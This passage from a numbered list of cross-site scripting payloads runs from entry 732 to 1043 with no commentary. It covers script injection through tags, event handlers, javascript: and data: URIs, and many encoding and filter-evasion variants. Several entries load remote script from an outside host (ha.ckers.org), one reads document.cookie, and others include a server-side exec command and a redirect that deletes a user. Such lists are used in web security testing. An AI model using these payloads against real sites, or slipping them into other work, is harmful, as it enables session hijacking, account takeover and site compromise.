  732. <a href=javascript&colon;alert&lpar;document&period;cookie&rpar;>Click Here</a>
  733. <img src="/" =_=" title="onerror='prompt(1)'">
  734. <%<!--'%><script>alert(1);</script -->
  735. <script src="data:text/javascript,alert(1)"></script>
  736. <iframe/src \/\/onload = prompt(1)
  737. <iframe/onreadystatechange=alert(1)
  738. <svg/onload=alert(1)
  739. <input value=<><iframe/src=javascript:confirm(1)
  740. <input type="text" value=`` <div/onmouseover='alert(1)'>X</div>
  741. http://www.<script>alert(1)</script .com
  742. <iframe src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe>
  743. <svg><script ?>alert(1)
  744. <iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>
  745. <img src=`xx:xx`onerror=alert(1)>
  746. <meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>
  747. <math><a xlink:href="//jsfiddle.net/t846h/">click
  748. <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
  749. <svg contentScriptType=text/vbs><script>MsgBox+1
  750. <a href="data:text/html;base64_,<svg/onload=\u0061&#x6C;&#101%72t(1)>">X</a
  751. <iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE>
  752. <script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+
  753. <script/src="data&colon;text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F
  754. <script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script
  755. <object data=javascript&colon;\u0061&#x6C;&#101%72t(1)>
  756. <script>+-+-1-+-+alert(1)</script>
  757. <body/onload=&lt;!--&gt;&#10alert(1)>
  758. <script itworksinallbrowsers>/*<script* */alert(1)</script
  759. <img src ?itworksonchrome?\/onerror = alert(1)
  760. <svg><script>//&NewLine;confirm(1);</script </svg>
  761. <svg><script onlypossibleinopera:-)> alert(1)
  762. <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe
  763. <script x> alert(1) </script 1=2
  764. <div/onmouseover='alert(1)'> style="x:">
  765. <--`<img/src=` onerror=alert(1)> --!>
  766.  <script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script>
  767. <div style="xg-p:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>
  768. "><img src=x onerror=window.open('https://www.google.com/');>
  769. <form><button formaction=javascript&colon;alert(1)>CLICKME
  770. <math><a xlink:href="//jsfiddle.net/t846h/">click
  771. <object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>
  772. <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
  773. <a href="data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203">Click Me</a>
  774. <SCRIPT>String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)</SCRIPT>
  775. ‘;alert(String.fromCharCode(88,83,83))//’;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//–></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
  776. <IMG “””><SCRIPT>alert(“XSS”)</SCRIPT>”>
  777. <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
  778. <IMG SRC=”jav ascript:alert(‘XSS’);”>
  779. <IMG SRC=”jav&#x09;ascript:alert(‘XSS’);”>
  780. <<SCRIPT>alert(“XSS”);//<</SCRIPT>
  781. %253cscript%253ealert(1)%253c/script%253e
  782. “><s”%2b”cript>alert(document.cookie)</script>
  783. foo<script>alert(1)</script>
  784. <scr<script>ipt>alert(1)</scr</script>ipt>
  785. <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
  786. <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
  787. <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
  788. <BODY BACKGROUND=”javascript:alert(‘XSS’)”>
  789. <BODY ONLOAD=alert(‘XSS’)>
  790. <INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”>
  791. <IMG SRC=”javascript:alert(‘XSS’)”
  792. <iframe src=http://ha.ckers.org/scriptlet.html <
  793. javascript:alert("hellox worldss")
  794. <img src="javascript:alert('XSS');">
  795. <img src=javascript:alert(&quot;XSS&quot;)>
  796. <"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
  797. <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
  798. <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
  799. <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
  800. <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  801. <SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  802. <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  803. <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  804. <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  805. <<SCRIPT>alert("XSS");//<</SCRIPT>
  806. <"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
  807. ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))<?/SCRIPT>&submit.x=27&submit.y=9&cmd=search
  808. <script>alert("hellox worldss")</script>&safe=high&cx=006665157904466893121:su_tzknyxug&cof=FORID:9#510
  809. <script>alert("XSS");</script>&search=1
  810. 0&q=';alert(String.fromCharCode(88,83,83))//\';alert%2?8String.fromCharCode(88,83,83))//";alert(String.fromCharCode?(88,83,83))//\";alert(String.fromCharCode(88,83,83)%?29//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83%?2C83))</SCRIPT>&submit-frmGoogleWeb=Web+Search
  811. <h1><font color=blue>hellox worldss</h1>
  812. <BODY ONLOAD=alert('hellox worldss')>
  813. <input onfocus=write(XSS) autofocus>
  814. <input onblur=write(XSS) autofocus><input autofocus>
  815. <body onscroll=alert(XSS)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
  816. <form><button formaction="javascript:alert(XSS)">lol
  817. <!--<img src="--><img src=x onerror=alert(XSS)//">
  818. <![><img src="]><img src=x onerror=alert(XSS)//">
  819. <style><img src="</style><img src=x onerror=alert(XSS)//">
  820. <? foo="><script>alert(1)</script>">
  821. <! foo="><script>alert(1)</script>">
  822. </ foo="><script>alert(1)</script>">
  823. <? foo="><x foo='?><script>alert(1)</script>'>">
  824. <! foo="[[[Inception]]"><x foo="]foo><script>alert(1)</script>">
  825. <% foo><x foo="%><script>alert(123)</script>">
  826. <div style="font-family:'foo&#10;;color:red;';">LOL
  827. LOL<style>*{/*all*/color/*all*/:/*all*/red/*all*/;/[0]*IE,Safari*[0]/color:green;color:bl/*IE*/ue;}</style>
  828. <script>({0:#0=alert/#0#/#0#(0)})</script>
  829. <svg xmlns="http://www.w3.org/2000/svg">LOL<script>alert(123)</script></svg>
  830. &lt;SCRIPT&gt;alert(/XSS/&#46;source)&lt;/SCRIPT&gt;
  831. \\";alert('XSS');//
  832. &lt;/TITLE&gt;&lt;SCRIPT&gt;alert(\"XSS\");&lt;/SCRIPT&gt;
  833. &lt;INPUT TYPE=\"IMAGE\" SRC=\"javascript&#058;alert('XSS');\"&gt;
  834. &lt;BODY BACKGROUND=\"javascript&#058;alert('XSS')\"&gt;
  835. &lt;BODY ONLOAD=alert('XSS')&gt;
  836. &lt;IMG DYNSRC=\"javascript&#058;alert('XSS')\"&gt;
  837. &lt;IMG LOWSRC=\"javascript&#058;alert('XSS')\"&gt;
  838. &lt;BGSOUND SRC=\"javascript&#058;alert('XSS');\"&gt;
  839. &lt;BR SIZE=\"&{alert('XSS')}\"&gt;
  840. &lt;LAYER SRC=\"http&#58;//ha&#46;ckers&#46;org/scriptlet&#46;html\"&gt;&lt;/LAYER&gt;
  841. &lt;LINK REL=\"stylesheet\" HREF=\"javascript&#058;alert('XSS');\"&gt;
  842. &lt;LINK REL=\"stylesheet\" HREF=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;css\"&gt;
  843. &lt;STYLE&gt;@import'http&#58;//ha&#46;ckers&#46;org/xss&#46;css';&lt;/STYLE&gt;
  844. &lt;META HTTP-EQUIV=\"Link\" Content=\"&lt;http&#58;//ha&#46;ckers&#46;org/xss&#46;css&gt;; REL=stylesheet\"&gt;
  845. &lt;STYLE&gt;BODY{-moz-binding&#58;url(\"http&#58;//ha&#46;ckers&#46;org/xssmoz&#46;xml#xss\")}&lt;/STYLE&gt;
  846. &lt;XSS STYLE=\"behavior&#58; url(xss&#46;htc);\"&gt;
  847. &lt;STYLE&gt;li {list-style-image&#58; url(\"javascript&#058;alert('XSS')\");}&lt;/STYLE&gt;&lt;UL&gt;&lt;LI&gt;XSS
  848. &lt;IMG SRC='vbscript&#058;msgbox(\"XSS\")'&gt;
  849. &lt;IMG SRC=\"mocha&#58;&#91;code&#93;\"&gt;
  850. &lt;IMG SRC=\"livescript&#058;&#91;code&#93;\"&gt;
  851. žscriptualert(EXSSE)ž/scriptu
  852. &lt;META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript&#058;alert('XSS');\"&gt;
  853. &lt;META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data&#58;text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\"&gt;
  854. &lt;META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http&#58;//;URL=javascript&#058;alert('XSS');\"
  855. &lt;IFRAME SRC=\"javascript&#058;alert('XSS');\"&gt;&lt;/IFRAME&gt;
  856. &lt;FRAMESET&gt;&lt;FRAME SRC=\"javascript&#058;alert('XSS');\"&gt;&lt;/FRAMESET&gt;
  857. &lt;TABLE BACKGROUND=\"javascript&#058;alert('XSS')\"&gt;
  858. &lt;TABLE&gt;&lt;TD BACKGROUND=\"javascript&#058;alert('XSS')\"&gt;
  859. &lt;DIV STYLE=\"background-image&#58; url(javascript&#058;alert('XSS'))\"&gt;
  860. &lt;DIV STYLE=\"background-image&#58;\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028&#46;1027\0058&#46;1053\0053\0027\0029'\0029\"&gt;
  861. &lt;DIV STYLE=\"background-image&#58; url(javascript&#058;alert('XSS'))\"&gt;
  862. &lt;DIV STYLE=\"width&#58; expression(alert('XSS'));\"&gt;
  863. &lt;STYLE&gt;@im\port'\ja\vasc\ript&#58;alert(\"XSS\")';&lt;/STYLE&gt;
  864. &lt;IMG STYLE=\"xss&#58;expr/*XSS*/ession(alert('XSS'))\"&gt;
  865. &lt;XSS STYLE=\"xss&#58;expression(alert('XSS'))\"&gt;
  866. exp/*&lt;A STYLE='no\xss&#58;noxss(\"*//*\");
  867. xss&#58;ex&#x2F;*XSS*//*/*/pression(alert(\"XSS\"))'&gt;
  868. &lt;STYLE TYPE=\"text/javascript\"&gt;alert('XSS');&lt;/STYLE&gt;
  869. &lt;STYLE&gt;&#46;XSS{background-image&#58;url(\"javascript&#058;alert('XSS')\");}&lt;/STYLE&gt;&lt;A CLASS=XSS&gt;&lt;/A&gt;
  870. &lt;STYLE type=\"text/css\"&gt;BODY{background&#58;url(\"javascript&#058;alert('XSS')\")}&lt;/STYLE&gt;
  871. &lt;!--&#91;if gte IE 4&#93;&gt;
  872. &lt;SCRIPT&gt;alert('XSS');&lt;/SCRIPT&gt;
  873. &lt;!&#91;endif&#93;--&gt;
  874. &lt;BASE HREF=\"javascript&#058;alert('XSS');//\"&gt;
  875. &lt;OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http&#58;//ha&#46;ckers&#46;org/scriptlet&#46;html\"&gt;&lt;/OBJECT&gt;
  876. &lt;OBJECT classid=clsid&#58;ae24fdae-03c6-11d1-8b76-0080c744f389&gt;&lt;param name=url value=javascript&#058;alert('XSS')&gt;&lt;/OBJECT&gt;
  877. &lt;EMBED SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;swf\" AllowScriptAccess=\"always\"&gt;&lt;/EMBED&gt;
  878. &lt;EMBED SRC=\"data&#58;image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"&gt;&lt;/EMBED&gt;
  879. a=\"get\";
  880. b=\"URL(\\"\";
  881. c=\"javascript&#058;\";
  882. d=\"alert('XSS');\\")\";
  883. eval(a+b+c+d);
  884. &lt;HTML xmlns&#58;xss&gt;&lt;?import namespace=\"xss\" implementation=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;htc\"&gt;&lt;xss&#58;xss&gt;XSS&lt;/xss&#58;xss&gt;&lt;/HTML&gt;
  885. &lt;XML ID=I&gt;&lt;X&gt;&lt;C&gt;&lt;!&#91;CDATA&#91;&lt;IMG SRC=\"javas&#93;&#93;&gt;&lt;!&#91;CDATA&#91;cript&#58;alert('XSS');\"&gt;&#93;&#93;&gt;
  886. &lt;/C&gt;&lt;/X&gt;&lt;/xml&gt;&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;&lt;/SPAN&gt;
  887. &lt;XML ID=\"xss\"&gt;&lt;I&gt;&lt;B&gt;&lt;IMG SRC=\"javas&lt;!-- --&gt;cript&#58;alert('XSS')\"&gt;&lt;/B&gt;&lt;/I&gt;&lt;/XML&gt;
  888. &lt;SPAN DATASRC=\"#xss\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"&gt;&lt;/SPAN&gt;
  889. &lt;XML SRC=\"xsstest&#46;xml\" ID=I&gt;&lt;/XML&gt;
  890. &lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;&lt;/SPAN&gt;
  891. &lt;HTML&gt;&lt;BODY&gt;
  892. &lt;?xml&#58;namespace prefix=\"t\" ns=\"urn&#58;schemas-microsoft-com&#58;time\"&gt;
  893. &lt;?import namespace=\"t\" implementation=\"#default#time2\"&gt;
  894. &lt;t&#58;set attributeName=\"innerHTML\" to=\"XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;\"&gt;
  895. &lt;/BODY&gt;&lt;/HTML&gt;
  896. &lt;SCRIPT SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;jpg\"&gt;&lt;/SCRIPT&gt;
  897. &lt;!--#exec cmd=\"/bin/echo '&lt;SCR'\"--&gt;&lt;!--#exec cmd=\"/bin/echo 'IPT SRC=http&#58;//ha&#46;ckers&#46;org/xss&#46;js&gt;&lt;/SCRIPT&gt;'\"--&gt;
  898. &lt;? echo('&lt;SCR)';
  899. echo('IPT&gt;alert(\"XSS\")&lt;/SCRIPT&gt;'); ?&gt;
  900. &lt;IMG SRC=\"http&#58;//www&#46;thesiteyouareon&#46;com/somecommand&#46;php?somevariables=maliciouscode\"&gt;
  901. Redirect 302 /a&#46;jpg http&#58;//victimsite&#46;com/admin&#46;asp&deleteuser
  902. &lt;META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;\"&gt;
  903. &lt;HEAD&gt;&lt;META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"&gt; &lt;/HEAD&gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
  904. &lt;SCRIPT a=\"&gt;\" SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
  905. &lt;SCRIPT =\"&gt;\" SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
  906. &lt;SCRIPT a=\"&gt;\" '' SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
  907. &lt;SCRIPT \"a='&gt;'\" SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
  908. &lt;SCRIPT a=`&gt;` SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
  909. &lt;SCRIPT a=\"&gt;'&gt;\" SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
  910. &lt;SCRIPT&gt;document&#46;write(\"&lt;SCRI\");&lt;/SCRIPT&gt;PT SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
  911. &lt;A HREF=\"http&#58;//66&#46;102&#46;7&#46;147/\"&gt;XSS&lt;/A&gt;
  912. &lt;A HREF=\"http&#58;//%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\"&gt;XSS&lt;/A&gt;
  913. &lt;A HREF=\"http&#58;//1113982867/\"&gt;XSS&lt;/A&gt;
  914. &lt;A HREF=\"http&#58;//0x42&#46;0x0000066&#46;0x7&#46;0x93/\"&gt;XSS&lt;/A&gt;
  915. &lt;A HREF=\"http&#58;//0102&#46;0146&#46;0007&#46;00000223/\"&gt;XSS&lt;/A&gt;
  916. &lt;A HREF=\"htt p&#58;//6 6&#46;000146&#46;0x7&#46;147/\"&gt;XSS&lt;/A&gt;
  917. &lt;A HREF=\"//www&#46;google&#46;com/\"&gt;XSS&lt;/A&gt;
  918. &lt;A HREF=\"//google\"&gt;XSS&lt;/A&gt;
  919. &lt;A HREF=\"http&#58;//ha&#46;ckers&#46;org@google\"&gt;XSS&lt;/A&gt;
  920. &lt;A HREF=\"http&#58;//google&#58;ha&#46;ckers&#46;org\"&gt;XSS&lt;/A&gt;
  921. &lt;A HREF=\"http&#58;//google&#46;com/\"&gt;XSS&lt;/A&gt;
  922. &lt;A HREF=\"http&#58;//www&#46;google&#46;com&#46;/\"&gt;XSS&lt;/A&gt;
  923. &lt;A HREF=\"javascript&#058;document&#46;location='http&#58;//www&#46;google&#46;com/'\"&gt;XSS&lt;/A&gt;
  924. &lt;A HREF=\"http&#58;//www&#46;gohttp&#58;//www&#46;google&#46;com/ogle&#46;com/\"&gt;XSS&lt;/A&gt;
  925. &lt;
  926. %3C
  927. &lt
  928. &lt;
  929. &LT
  930. &LT;
  931. &#60
  932. &#060
  933. &#0060
  934. &#00060
  935. &#000060
  936. &#0000060
  937. &lt;
  938. &#x3c
  939. &#x03c
  940. &#x003c
  941. &#x0003c
  942. &#x00003c
  943. &#x000003c
  944. &#x3c;
  945. &#x03c;
  946. &#x003c;
  947. &#x0003c;
  948. &#x00003c;
  949. &#x000003c;
  950. &#X3c
  951. &#X03c
  952. &#X003c
  953. &#X0003c
  954. &#X00003c
  955. &#X000003c
  956. &#X3c;
  957. &#X03c;
  958. &#X003c;
  959. &#X0003c;
  960. &#X00003c;
  961. &#X000003c;
  962. &#x3C
  963. &#x03C
  964. &#x003C
  965. &#x0003C
  966. &#x00003C
  967. &#x000003C
  968. &#x3C;
  969. &#x03C;
  970. &#x003C;
  971. &#x0003C;
  972. &#x00003C;
  973. &#x000003C;
  974. &#X3C
  975. &#X03C
  976. &#X003C
  977. &#X0003C
  978. &#X00003C
  979. &#X000003C
  980. &#X3C;
  981. &#X03C;
  982. &#X003C;
  983. &#X0003C;
  984. &#X00003C;
  985. &#X000003C;
  986. \x3c
  987. \x3C
  988. \u003c
  989. \u003C
  990. &lt;iframe src=http&#58;//ha&#46;ckers&#46;org/scriptlet&#46;html&gt;
  991. &lt;IMG SRC=\"javascript&#058;alert('XSS')\"
  992. &lt;SCRIPT SRC=//ha&#46;ckers&#46;org/&#46;js&gt;
  993. &lt;SCRIPT SRC=http&#58;//ha&#46;ckers&#46;org/xss&#46;js?&lt;B&gt;
  994. &lt;&lt;SCRIPT&gt;alert(\"XSS\");//&lt;&lt;/SCRIPT&gt;
  995. &lt;SCRIPT/SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
  996. &lt;BODY onload!#$%&()*~+-_&#46;,&#58;;?@&#91;/|\&#93;^`=alert(\"XSS\")&gt;
  997. &lt;SCRIPT/XSS SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
  998. &lt;IMG SRC=\"   javascript&#058;alert('XSS');\"&gt;
  999. perl -e 'print \"&lt;SCR\0IPT&gt;alert(\\"XSS\\")&lt;/SCR\0IPT&gt;\";' &gt; out
  1000. perl -e 'print \"&lt;IMG SRC=java\0script&#058;alert(\\"XSS\\")&gt;\";' &gt; out
  1001. &lt;IMG SRC=\"jav&#x0D;ascript&#058;alert('XSS');\"&gt;
  1002. &lt;IMG SRC=\"jav&#x0A;ascript&#058;alert('XSS');\"&gt;
  1003. &lt;IMG SRC=\"jav&#x09;ascript&#058;alert('XSS');\"&gt;
  1004. &lt;IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29&gt;
  1005. &lt;IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041&gt;
  1006. &lt;IMG SRC=javascript&#058;alert('XSS')&gt;
  1007. &lt;IMG SRC=javascript&#058;alert(String&#46;fromCharCode(88,83,83))&gt;
  1008. &lt;IMG \"\"\"&gt;&lt;SCRIPT&gt;alert(\"XSS\")&lt;/SCRIPT&gt;\"&gt;
  1009. &lt;IMG SRC=`javascript&#058;alert(\"RSnake says, 'XSS'\")`&gt;
  1010. &lt;IMG SRC=javascript&#058;alert(&quot;XSS&quot;)&gt;
  1011. &lt;IMG SRC=JaVaScRiPt&#058;alert('XSS')&gt;
  1012. &lt;IMG SRC=javascript&#058;alert('XSS')&gt;
  1013. &lt;IMG SRC=\"javascript&#058;alert('XSS');\"&gt;
  1014. &lt;SCRIPT SRC=http&#58;//ha&#46;ckers&#46;org/xss&#46;js&gt;&lt;/SCRIPT&gt;
  1015. '';!--\"&lt;XSS&gt;=&{()}
  1016. ';alert(String&#46;fromCharCode(88,83,83))//\';alert(String&#46;fromCharCode(88,83,83))//\";alert(String&#46;fromCharCode(88,83,83))//\\";alert(String&#46;fromCharCode(88,83,83))//--&gt;&lt;/SCRIPT&gt;\"&gt;'&gt;&lt;SCRIPT&gt;alert(String&#46;fromCharCode(88,83,83))&lt;/SCRIPT&gt;
  1017. ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
  1018. '';!--"<XSS>=&{()}
  1019. <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
  1020. <IMG SRC="javascript:alert('XSS');">
  1021. <IMG SRC=javascript:alert('XSS')>
  1022. <IMG SRC=javascrscriptipt:alert('XSS')>
  1023. <IMG SRC=JaVaScRiPt:alert('XSS')>
  1024. <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
  1025. <IMG SRC=" &#14;  javascript:alert('XSS');">
  1026. <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  1027. <SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  1028. <<SCRIPT>alert("XSS");//<</SCRIPT>
  1029. <SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
  1030. \";alert('XSS');//
  1031. </TITLE><SCRIPT>alert("XSS");</SCRIPT>
  1032. ¼script¾alert(¢XSS¢)¼/script¾
  1033. <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
  1034. <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
  1035. <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
  1036. <TABLE BACKGROUND="javascript:alert('XSS')">
  1037. <TABLE><TD BACKGROUND="javascript:alert('XSS')">
  1038. <DIV STYLE="background-image: url(javascript:alert('XSS'))">
  1039. <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
  1040. <DIV STYLE="width: expression(alert('XSS'));">
  1041. <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
  1042. <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
  1043. <XSS STYLE="xss:expression(alert('XSS'))">
